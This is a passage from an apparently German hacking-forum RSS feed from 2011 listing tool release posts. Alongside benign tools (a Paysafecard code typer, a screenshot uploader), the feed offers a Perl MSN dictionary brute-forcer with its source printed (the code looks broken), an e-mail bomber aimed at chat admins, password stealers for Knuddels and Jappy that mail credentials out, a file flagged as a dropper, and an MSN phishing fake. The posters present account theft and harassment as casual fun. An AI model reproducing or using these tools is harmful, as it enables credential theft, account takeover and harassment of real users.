		</item>
		<item>
			<title><![CDATA[[Release] Paysafecard Converter]]></title>
			<link>showroom-102/release-paysafecard-converter-29709?goto=newpost</link>
			<pubDate>Thu, 12 May 2011 20:22:17 GMT</pubDate>
			<description>Hi! 
 
Da ich ständig PSC-Codes eingeben muss und das nervt, habe ich hier einen Converter gebastelt, der euch das Abtippen des PSC-Codes abnimmt.  
...</description>
			<content:encoded><![CDATA[<div>Hi!<br />
<br />
Da ich ständig PSC-Codes eingeben muss und das nervt, habe ich hier einen Converter gebastelt, der euch das Abtippen des PSC-Codes abnimmt. <br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6475&amp;d=1391987315" border="0" alt="Name:  111t8hu.png
Hits: 1334
Größe:  24,8 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b>Beschreibung</b><br />
<br />
Der Converter unterstüzt die folgenden 2 Formate<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6476&amp;d=1391987330" border="0" alt="Name:  222kkxp.png
Hits: 1385
Größe:  25,2 KB" class="thumbnail" style="float:CONFIG" /> <img src="https://u-labs.de/forum/attachment.php?attachmentid=6477&amp;d=1391987341" border="0" alt="Name:  333s86e.png
Hits: 3017
Größe:  25,2 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b>Funktionsweise</b><br />
<ol class="decimal"><li style="">Ihr gebt den Code in einer der beschriebenen Varianten ein</li><li style="">Dann geht ihr auf die Paysafecard-Seite (aufs Logo klicken)</li><li style="">Dann markiert ihr das erste Feld, wo der Code rein muss</li><li style="">Dann klickt ihr auf <i>Convert</i></li><li style="">Dann habt ihr 5 Sekunden um auf das Eingabefeld zurückzuwechseln</li><li style="">Der Code wird an die aktuelle Mauspostion bzw. das aktuelle Fenster gesendet</li><li style="">Nun steht der Code komplett drinnen und ihr müsst eventuell noch Passwort und Sicherheitscode angeben</li></ol><br />
<br />
<br />
Vorschläge und konstruktive Kritik gerne gesehen!<br />
<br />
<a href="http://x7.to/0eluph" target="_blank" rel="nofollow"> Download</a><br />
<br />
<br />
fixxed:<br />
<br />
<ul><li style=""> Intervall selber festlegen können</li></ul><br />
 <br />
<br />
Todo:<br />
<br />
<br />
<ul><li style=""><font color="Red">Aktuell geht jeweils nur ein PSC-Code, kommt beim nächsten Update, dass man mehrere Codes gleich eingeben lassen kann.</font></li><li style="">PSC-Codes + eventuelles Passwort speichern</li></ul><br />
<br />
Update:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6478&amp;d=1391987355" border="0" alt="Name:  23-05-201122-41-42d8ay.png
Hits: 1477
Größe:  27,0 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
So laden und speichern geht auch :<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6479&amp;d=1391987378" border="0" alt="Name:  23-05-201123-42-46nuhu.png
Hits: 2267
Größe:  32,4 KB" class="thumbnail" style="float:CONFIG" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6475&amp;stc=1&amp;d=1391987315" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6476&amp;stc=1&amp;d=1391987330" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6477&amp;stc=1&amp;d=1391987341" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6478&amp;stc=1&amp;d=1391987355" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6479&amp;stc=1&amp;d=1391987378" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>AFU</dc:creator>
			<guid isPermaLink="true">showroom-102/release-paysafecard-converter-29709</guid>
		</item>
		<item>
			<title><![CDATA[[Perl] MSN-Bruter?]]></title>
			<link>showroom-102/perl-msn-bruter-31332?goto=newpost</link>
			<pubDate>Sat, 07 May 2011 13:24:56 GMT</pubDate>
			<description>Da ich in letzter Zeit einen Thread gelesen habe, wie man MSN Bruten könnte, hab ich mal gegoogelt. 
 
Ich habe einen Code gefunden, ich weiß nicht...</description>
			<content:encoded><![CDATA[<div>Da ich in letzter Zeit einen Thread gelesen habe, wie man MSN Bruten könnte, hab ich mal gegoogelt.<br />
<br />
Ich habe einen Code gefunden, ich weiß nicht ob er funktioniert.<br />
Er ist in <a href="http://www.activestate.com" target="_blank" rel="nofollow">Perl</a> (Draufklicken um Perl herunter zu laden) geschrieben.<br />
<br />
[HIDE=50]<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&#91;/</span><span style="color: #0000BB">system&nbsp;</span><span style="color: #007700">(</span><span style="color: #DD0000">"clear"</span><span style="color: #007700">);<br /><br /></span><span style="color: #0000BB">system&nbsp;</span><span style="color: #007700">(</span><span style="color: #DD0000">"cls"</span><span style="color: #007700">);<br /><br /></span><span style="color: #0000BB">system&nbsp;</span><span style="color: #007700">(</span><span style="color: #DD0000">"color&nbsp;fc"</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">#&nbsp;Re-c0de&nbsp;by&nbsp;m0x.lk<br /><br />#&nbsp;Edit&nbsp;:&nbsp;BruteMSN&nbsp;.-&nbsp;~HaSe&nbsp;&amp;&nbsp;RE.<br /><br />#&nbsp;Download&nbsp;Lib's.<br /><br /></span><span style="color: #007700">use&nbsp;</span><span style="color: #0000BB">lib&nbsp;qw</span><span style="color: #007700">(./</span><span style="color: #0000BB">MSN</span><span style="color: #007700">/</span><span style="color: #0000BB">lib</span><span style="color: #007700">);<br /><br />use&nbsp;</span><span style="color: #0000BB">MSN</span><span style="color: #007700">;<br /><br />use&nbsp;</span><span style="color: #0000BB">strict</span><span style="color: #007700">;<br /><br />use&nbsp;</span><span style="color: #0000BB">encoding&nbsp;</span><span style="color: #DD0000">"euc-jp"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"Re-C0de&nbsp;by&nbsp;BITCHH4CKER"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"BruteMSN&nbsp;.-&nbsp;~HaSe&nbsp;&amp;&nbsp;RE.\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">sleep&nbsp;1</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"Victima:&nbsp;"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$victima</span><span style="color: #007700">=&lt;</span><span style="color: #0000BB">STDIN</span><span style="color: #007700">&gt;;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"Diccionario:&nbsp;"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$dict</span><span style="color: #007700">=&lt;</span><span style="color: #0000BB">STDIN</span><span style="color: #007700">&gt;;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n\n"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">open&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">D</span><span style="color: #007700">,</span><span style="color: #DD0000">"&lt;</span><span style="color: #0000BB">$dict</span><span style="color: #DD0000">"</span><span style="color: #007700">)&nbsp;or&nbsp;die&nbsp;</span><span style="color: #DD0000">"Diccionario&nbsp;no&nbsp;encontrado\n"</span><span style="color: #007700">;<br /><br />while(&lt;</span><span style="color: #0000BB">D</span><span style="color: #007700">&gt;)<br /><br />{<br /><br /></span><span style="color: #0000BB">$try&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chomp&nbsp;$try</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">my&nbsp;$msn&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">MSN</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">new</span><span style="color: #007700">(</span><span style="color: #0000BB">Handle&nbsp;</span><span style="color: #007700">=&gt;&nbsp;</span><span style="color: #DD0000">'$victima'</span><span style="color: #007700">,<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Password&nbsp;</span><span style="color: #007700">=&gt;&nbsp;</span><span style="color: #DD0000">'$try'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$counter</span><span style="color: #007700">++;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$tiempo</span><span style="color: #007700">++;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #DD0000">"</span><span style="color: #0000BB">$victima</span><span style="color: #DD0000">&nbsp;/&nbsp;</span><span style="color: #0000BB">$try</span><span style="color: #DD0000">&nbsp;\n"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">last</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$counter</span><span style="color: #007700">==</span><span style="color: #0000BB">$fallos</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;{<br /><br />}<br /><br /></span><span style="color: #0000BB">close</span><span style="color: #007700">(</span><span style="color: #0000BB">D</span><span style="color: #007700">);<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"</span><span style="color: #0000BB">$tiempo</span><span style="color: #DD0000">&nbsp;Obtener&nbsp;pass"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"\n\n"</span><span style="color: #007700">;<br /><br />print&nbsp;</span><span style="color: #DD0000">"c0dex&nbsp;by&nbsp;BITCHH4CKER"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">you&nbsp;can&nbsp;EDIT&nbsp;this&nbsp;tool&nbsp;feel&nbsp;free&nbsp;<br /></span>
</span>
</code></code><hr />
</div>[/HIDE]<br />
<br />
Ich weiß nicht ob er funktioniert oder nicht, probiert es einfach mal aus.<br />
<br />
Vlt. fangt ja jemand was damit an. ;)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>strukel</dc:creator>
			<guid isPermaLink="true">showroom-102/perl-msn-bruter-31332</guid>
		</item>
		<item>
			<title><![CDATA[[Bin + Source] E-Mail Bomber]]></title>
			<link>showroom-102/bin-source-e-mail-bomber-29875?goto=newpost</link>
			<pubDate>Thu, 28 Apr 2011 12:17:02 GMT</pubDate>
			<description>Moin, 
 
Das Ding habe ich am 24.02. geschrieben und eben bemerkt, dass es noch genauso gut funktioniert wie an diesem Tag, die E-Mails kommen bei...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
<br />
Das Ding habe ich am 24.02. geschrieben und eben bemerkt, dass es noch genauso gut funktioniert wie an diesem Tag, die E-Mails kommen bei mir (Hotmail) alle an und gehen sogar direkt in den Posteingang. Gesendet werden die über irgendeinen polnischen Anbieter, der aber sehr schnell ist. Ist kein großartiges Projekt, aber manchmal und bei Knuddels-Admins hilfreich. Man kann unendlich versenden sozusagen, bis der Integer überläuft.<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6634&amp;d=1392268438" border="0" alt="Name:  bombervnyt.jpg
Hits: 223
Größe:  49,4 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><a href="http://www.multiupload.com/FK3X6L5DIT" target="_blank" rel="nofollow">Download .exe</a><br />
<a href="http://pastebin.com/raw.php?i=TMPgBP8t" target="_blank" rel="nofollow">Sourcecode</a></code><hr />
</div></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6634&amp;stc=1&amp;d=1392268438" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Diebspiel</dc:creator>
			<guid isPermaLink="true">showroom-102/bin-source-e-mail-bomber-29875</guid>
		</item>
		<item>
			<title><![CDATA[[Release] DirectUploader BETA]]></title>
			<link>showroom-102/release-directuploader-beta-30934?goto=newpost</link>
			<pubDate>Wed, 27 Apr 2011 22:39:37 GMT</pubDate>
			<description>Guten Abend/Morgen, 
 
wie angekündigt habe ich DirectUploader nun komplett neu geschrieben. Das Programm ist im Beta-Studium und steht nun jedem zur...</description>
			<content:encoded><![CDATA[<div>Guten Abend/Morgen,<br />
<br />
wie angekündigt habe ich DirectUploader nun komplett neu geschrieben. Das Programm ist im Beta-Studium und steht nun jedem zur Benutzung zur Verfügung. <br />
<font size="3"><br />
</font> <font size="3"><b>1. Screen der Hauptanwendung</b></font><br />
<br />
<font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<br />
<font size="3"><b>2. Funktionsweise</b></font><br />
 <br />
 Es gibt 3 Möglichkeiten einen Screen zu erstellen:<br />
<br />
<b>Snipping-Funktion</b><br />
<br />
Mit der Tastenkombination [STRG] + [Y] wird die Snipping-Funktion aktiviert. Man kann nun ein Auswahlrechteck ziehen, dass durch loslassen der linken Maustaste wird der Screen vom ausgewählten Bildschirmbereich erstellt.<br />
<br />
<b>Aktives Fenster</b><br />
<br />
Man kann das gerade aktive Fenster (Firefox, MSN, usw) durch drücken der Tastenkombination [ALT] + [DRUCK] screenen. <br />
<br />
<b>Kompletter Bildschirm</b><br />
<br />
Durch drücken der Taste [DRUCK] wird ein Screenshot vom kompletten Bildschirm erstellt.<br />
<br />
<b>Zwischenablage</b><br />
<br />
Zusätzlich existiert noch eine 4. Möglichkeit, mit der man zwar keine Screens erstellen, aber Grafiken mirrorn kann. Dies ist z.B. praktisch, wenn man auf einer Webseite eine Grafik findet, die man in ein Forum oder in seine eigene Seite einbauen möchte. Es genüngt, die Grafik in die Zwischenablage kopieren (Bei Firefox z.B. rechtsklick auf die Grafik =&gt; Grafik kopieren). <br />
Idealerweise wählt man dafür in den Einstellungen von DirectUploader einen Imagehoster, der die Bilder unbegrenzt lange speichert, wie Beispielsweise Imagebanana.<br />
<br />
Nach jeder dieser 3 Möglichkeiten wird der so erstellte Screenshot auf der Festplatte im Ordner Screens (dazu später mehr) gespeichert, und falls in den Einstellungen aktiviert auf den ausgewählten Bilderhoster hochgeladen.<br />
<br />
DirectUploader selbst wird nach dem Start in den Tray minimiert (links das 1. Symbol auf dem Screen)<br />
<br />
<font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
Durch rechtsklick auf das Icon öffnet sich ein Kontextmenü mit folgenden Einträgen:<br />
<br />
<b>Öffnen:</b> Zeigt das Hauptfenster von DirectUploader<br />
<b>Einstellungen:</b> Öffnet die Einstellungen von DirectUploader (siehe Punkt 4 Einstellungen)<br />
<b>Updatecheck:</b> Manuelles prüfen auf Updates (siehe Punkt 5 Updates)<br />
<b>Screenordner:</b> Hier kann man den Ordner öffnen, in dem DirectUploader die erstellen Screens abspeichert.<br />
<b>Beenden: </b>Beendet das Hauptprogramm von DirectUploader<br />
<br />
<br />
<font size="3"><b>3. Linkarten</b></font><br />
<br />
Nach dem Hochladen bietet DirectUploader 4 verschiedene Linkarten an:<br />
<br />
<b>Link</b><br />
Dies ist der normale Link zum Bild, der meist noch zusätzliche Infos über das Bild (z.B. Uploadzeitpunkt, Datengröße usw) und Werbung des Anbieters anzeigt. Zum verteilen sollte dieser Link genutzt werden, da so der Imagehoster bei der Deckung seiner Kosten unterstützt wird. <br />
<br />
Beispiellink: <font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<b>Direktlink</b><br />
Ein Direktlink zeigt das Bild direkt an, ohne Zusatzinfos oder Werbung. Wenn du die Grafik in Orginalgröße in eine Seite einbinden willst (wie Beispielsweise der Screenshot oben) musst du diesen Link verwenden. In Foren kannst du diesen Link im IMG-Tag direkt in einen Post einbinden. Dafür solltest du aber lieber den Forum-Thumbnail Link nutzen, da sonst bei großen Screens die Threadgröße gesprengt werden kann.<br />
<br />
Beispiellink: <font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<b>Forum-Thumbnail</b><br />
Dieser Code ist am besten um ihn in Foren zu verteilen. Der Screen wird verkleinert angezeigt, wenn man darauf klickt öffnet sich der Screen in Orginalgröße.<br />
<br />
Das sieht dann z.B. so aus:<br />
<br />
<font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<b>HTML-Thumbnail</b><br />
Zeigt die selbe Wirkung wie der Forum-Thumbnail Code, aber in HTML, d.H. man kann ihn auf Webseiten/Blogs einbinden.<br />
<br />
<br />
<font size="3"><b>4. Einstellungen</b></font><br />
<br />
Wie bereits oben erwähnt, erreicht man die Einstellungen von DirectUploader mit einem Rechtsklick auf das DirectUploader-Icon und einem Klick auf <b>Einstellungen</b>. <br />
<br />
Das Einstellungsfenster sieht wie folgt aus:<br />
<br />
<font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<b>Hostereinstellungen<br />
<br />
</b>Hier kann man den Imagehoster wählen, auf den die Screens geladen werden sollen. <br />
Nach der Auswahl eines Hosters auf der Liste aktualisiert sich die Info darunter, sie gibt die Version dieses Hoster-Plugins, den Author und die Speicherdauer von Bildern mit und ohne Account an. <br />
<br />
Für einzelne Hoster steht die Möglichkeit zur Verfügung, die Screens direkt in einen Account zu laden. Dadurch kann man die Screens besser verwalten, und bei vielen Hostern werden die Screens in Accounts deutlich länger gespeichert als ohne Account.<br />
Wenn ein Hoster diese Möglichkeit bietet und sie in DirectUploader eingebaut ist, kann man sie aktivieren und in die dafür vorgesehenen Textboxen die Accountdaten angeben. <br />
Demnächst werden noch weitere Hoster mit dieser Funktion in DirectUploader ausgestattet. <br />
<br />
Durch Aktivieren der Option <b>Screens nicht hochladen</b> werden gemachte Screens nur lokal auf dem PC gespeichert und auf keinen Imagehoster hochgeladen.<br />
<br />
<b>Screenshots<br />
<br />
- Qualität<br />
</b>Hier kann die Qualität der gemachten Screens festgelegt werden. <br />
Empfohlen wird hier ein Wert zwischen 90 und 95%. <br />
Dieser Wert wirkt sich auch auf die Größe des erstellten Screenshots aus, je höher der Wert umso größer der Screen.<br />
<br />
<b>- Format</b><br />
Das Format der Screens. Am besten geeignet sind JPEG und PNG.<br />
<br />
<b>Sonstiges<br />
<br />
-Links automatisch in die Zwischenablage kopieren</b><br />
Ist diese Option aktiviert, wird der normale Link des Screens automatisch nach dem hochladen in die Zwischenablage kopiert und kann dann mit [STRG] + [V] in jedem belibigen Programm eingefügt werden. Zusätzlich kann man die Art des Links (z.B. der normale Link oder direkt ein Forumthumbnail) auswählen.<br />
<br />
<br />
<font size="3"><b>5. Updates</b></font><br />
<br />
DirectUploader hat einen eingebauten Updater, der automatisch bei jedem Start im Hintergrund nach Updates sucht. Sofern welche verfügbar sind, werden sie automatisch heruntergeladen und installiert. <br />
<br />
Es besteht auch die Möglichkeit von Hand auf Updates zu checken, in dem man mit der rechten Maustaste auf das DirectUploader-Icon und anschließend auf <b>Updatecheck</b> klickt.<br />
<br />
<br />
<font size="3"><b>6. Fehlerbehandlung</b></font><br />
<br />
DirectUploader loggt alle bekannten Fehler in einer Logdatei. Sie befindet sich im Programmverzeichniss von DirectUploader und heißt <b>Error.log</b>.<br />
Man gelangt Beispielsweise in das Programmverzeichniss, in dem man den Screenordner öffnet, und anschließend ein Verzeichniss nach oben navigiert. <br />
Wenn ihr Fehler meldet, solltet ihr diese Logdatei anhängen.<br />
<br />
<br />
<font size="3"><b>7. Vorraussetzungen</b></font><br />
<br />
Für die korrekte Funktion des Programms wird das .NET Framework 4.0 von Microsoft benötigt.<br />
Es kann hier heruntergeladen werden: <a href="http://www.chip.de/downloads/Microsoft-.NET-Framework-4.0_36595082.html" target="_blank" rel="nofollow">Microsoft .NET Framework 4.0 - Download - CHIP Online</a><br />
<br />
<br />
<font size="3"><b>CHANGELOG</b></font><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<b>Version 0.0.0.2</b><br />
<br />
- Bug im Forumthumbnail behoben, das Thumbnail funktioniert nun sowohl für vBulletin als auch für myBB Foren ohne Probleme<br />
- JPEG ist als Screenformat nicht mehr fest eingebaut, man hat in den Einstellungen die Wahl zwischen JPEG, PNG und GIF<br />
- Man kann bei der Option &quot;Links in die Zwischenablage kopieren&quot; nun die Art des Links (Link, Direktlink, Forumthumbnail, usw) frei wählen<br />
- Der Updatecheck beim Start findet nicht mehr sofort, sondern erst 2 Minuten nach dem Start des Programms statt, sodass User, bei denen sich die Internetverbindung nicht sofort aufbaut, nicht jedesmal eine Fehlermeldung beim Rechnerstart bekommen<br />

</div>
</div>
</div><br />
<br />
<br />
<u><font size="3"><b>DOWNLOAD</b></font></u><br />
<br />
<a href="http://www.file-upload.net/download-3391709/DirectUploader.exe.html" target="_blank" rel="nofollow">File-Upload.net - DirectUploader.exe</a><br />
<br />
Format: RAR-Archiv<br />
Größe: 450 KB</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>DMW007</dc:creator>
			<guid isPermaLink="true">showroom-102/release-directuploader-beta-30934</guid>
		</item>
		<item>
			<title>Fast Knuddels Login (PW-Stealer) OS</title>
			<link>showroom-102/fast-knuddels-login-pw-stealer-os-29969?goto=newpost</link>
			<pubDate>Tue, 12 Apr 2011 00:10:00 GMT</pubDate>
			<description>Ich habe heute mal nach langer Zeit an einem ehemaligen Projekt weitergemacht. 
 
Den Mailcode habe ich von paiiboy übernommen, ansonsten habe ich...</description>
			<content:encoded><![CDATA[<div>Ich habe heute mal nach langer Zeit an einem ehemaligen Projekt weitergemacht.<br />
<br />
Den Mailcode habe ich von paiiboy übernommen, ansonsten habe ich eigentlich nur noch mein Teil hinzugefügt.<br />
<br />
Ihr benötigt für die Funktionialität eine <b><font color="Red">Google Mail Adresse</font></b> und Net Framework 3.5.<br />
Zum Bearbeiten benötigt ihr Visual Basic 2010<br />
<br />
<br />
Hier ein Screen:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i56.tinypic.com/15yhnyc.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<b>Der Code kann beliebig geändert werden.</b><br />
<br />
<br />
Virustotal:<a href="http://www.virustotal.com/file-scan/report.html?id=44c3fb725d83050d31ecbe3463cf47e5f43dfc264f04d8ac4f3702a725b8703b-1302566711" target="_blank" rel="nofollow">VirusToal &lt;&lt;&lt; Hier</a><br />
<br />
Download:<br />
[HIDE]<br />
Passwort: k-script<br />
<a href="http://www.multiupload.com/7VA3DIYOQ7" target="_blank" rel="nofollow">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
[/hide]<br />
<br />
<b>Falls Fragen vorhanden sein sollten, stellt diese.</b><br />
<br />
Have fun</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Boone</dc:creator>
			<guid isPermaLink="true">showroom-102/fast-knuddels-login-pw-stealer-os-29969</guid>
		</item>
		<item>
			<title><![CDATA[[Source] Jappy Stealer 1.0]]></title>
			<link>showroom-102/source-jappy-stealer-1-0-29768?goto=newpost</link>
			<pubDate>Thu, 07 Apr 2011 22:43:40 GMT</pubDate>
			<description>Hi Comm, 
 
da ich in Google keinen Jappy Stealer finden konnte was auf einer Konsole beruht dachte ich mir mal schreibe ich eine und bin jetzt auch...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
da ich in Google keinen Jappy Stealer finden konnte was auf einer Konsole beruht dachte ich mir mal schreibe ich eine und bin jetzt auch fertig.<br />
Ich stelle das Projekt der Community zu Verfügung.<br />
<br />
PS:<br />
<br />
Bitte beachtet das was auskommentiert ist zu ändern!!<br />
<br />
Download:<br />
<br />
<a href="http://ul.to/a0mwd6x6" target="_blank" rel="nofollow">Download</a><br />
<br />
Virustotal:<br />
<br />
<a href="http://Virustotal geht nicht :@:@:@ naja ist ja eh nur eine Projektmappe ;) viel Spaß mit 1.1" target="_blank" rel="nofollow">http://Virustotal geht nicht :@:@:@ ...l Spaß mit 1.1</a><br />
<br />
<font color="Red"><b>Informationen:</b></font><br />
<br />
Ich habe das Programm verändert den Code etwas mehr angepasst so das er weniger auffällt ich werde die Projektmappe heute Abend gegen 20:00 uppen!<br />
<br />
<u><b><font color="Lime"><font size="4">Updates!:</font></font></b></u><br />
<br />
<ul><li style=""><font color="lime">Form beendet nicht sofort wenn man nicht Username oder Passwort angibt!</font></li><li style=""><font color="lime">Besser schutz wenn man den Rang auswählen soll das dort sich die Konsole nicht schließt und eine Schleife macht.</font></li></ul></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/source-jappy-stealer-1-0-29768</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Quelltext 1.5 Beta]]></title>
			<link>showroom-102/release-quelltext-1-5-beta-31439?goto=newpost</link>
			<pubDate>Sun, 03 Apr 2011 16:43:09 GMT</pubDate>
			<description>Hi Comm, 
 
habe ein kleines Programm geschrieben ziemlich sinnlos :D naja wem es gefällt was es kann bzw. was es soll sage ich nicht das könnt ihr...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
habe ein kleines Programm geschrieben ziemlich sinnlos :D naja wem es gefällt was es kann bzw. was es soll sage ich nicht das könnt ihr selber testen.<br />
<br />
PS:<br />
<br />
Bitte zuerst die Demo starten habe 2 Sounds hinzugefügt :D sonst wäre das umsonst, einmal aktiviert kann man das Programm nicht mehr als Demo ausführen!<br />
<br />
Virustotal: TR/Dropper.Gen gefunden was das ist weiß ich nicht jedenfalls kein Virus oder Trojaner!<br />
<br />
[HIDE]Download: <a href="http://rapidshare.com/files/455718151/Quelltext.exe" target="_blank" rel="nofollow">Download</a>[/HIDE]<br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=1b16dbe7fd4768bcc4fa914087b857247ef8b04c260f1253949a793dc98dfd42-1301848268" target="_blank" rel="nofollow">Virustotal: 1/40</a><br />
<br />
Beta Key: [HIDE]<b><font color="Red">3423-2QHJ-3PRA-983L</font></b>[/HIDE]<br />
<br />
Es sollen in der 1.6.0 mehr Funktionen dazu kommen wünsche trotzdem erstmal Spaß mit dem was da ist :).<br />
<br />
Mirror1: [HIDE]http://x7.to/lghdf9[/HIDE]</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-quelltext-1-5-beta-31439</guid>
		</item>
		<item>
			<title><![CDATA[[MSN Fake] Mappe < Demo]]></title>
			<link>showroom-102/msn-fake-mappe-demo-31208?goto=newpost</link>
			<pubDate>Sun, 03 Apr 2011 14:28:18 GMT</pubDate>
			<description>Hi Comm, 
 
ich wollte mal ein MSN Fake machen naja ich denke mal es ist gut geworden (Design) wünsche viel Spaß damit! 
 
PS: Habe schon alles...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
ich wollte mal ein MSN Fake machen naja ich denke mal es ist gut geworden (Design) wünsche viel Spaß damit!<br />
<br />
PS: Habe schon alles eingetragen wenn ihr wollt dürft ihr noch was hinzufügen oder ändern.<br />
Zu dem habe ich euch eine Email bereit gestellt diese könnt ihr verwenden.<br />
<br />
BITTE NICHT DAS PASSWORT ÄNDERN DAS WÄRE DEN ANDEREN GEGENÜBER NICHT FAIR!<br />
<br />
[HIDE]Download Projektmappe: <a href="http://rapidshare.com/files/455702367/MSN_Fake.rar" target="_blank" rel="nofollow">http://rapidshare.com/files/455702367/MSN_Fake.rar</a>[/HIDE]<br />
